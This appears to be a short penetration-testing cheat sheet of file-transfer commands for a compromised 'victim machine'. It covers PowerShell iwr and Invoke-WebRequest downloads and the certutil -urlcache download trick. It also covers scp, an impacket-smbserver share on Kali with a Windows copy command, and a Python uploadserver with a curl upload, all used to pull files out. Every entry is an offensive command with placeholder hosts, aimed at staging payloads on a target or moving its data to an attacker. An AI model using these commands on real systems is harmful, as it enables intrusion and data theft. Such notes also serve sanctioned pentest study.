IWR - to download a file in powershell of the victim machine. iwr is a powershell command.
iwr -uri <url of the file where it exists> -Outfile <output filename>
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
CERTUTIL
certutil.exe -urlcache -f <url of the file where it exists> <the path where you want it be downloaded>
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
SCP : From windows to linux
scp <filename or filepath> <username>@<ip>:<destination path to download the file>
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
# IMPACKET-SMBSERVER
impacket-smbserver -smb2support share . #Executed this command on kali
copy <filename or filepath where it exists> \\<ip>\share\<filename> #Executed this command on windows
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
PYTHON UPLOADSERVER
python3 -m uploadserver
curl -X POST http://127.0.0.1:8000/upload -F files=@multiple-example-1.txt -F files=@multiple-example-2.txt
Reference: https://pypi.org/project/uploadserver/
------------------------------------------------------------------------------------------------------------------------------------------------------------------------
powershell -c "Invoke-WebRequest -Uri 'url to download file' -OutFile '<the output file path>'"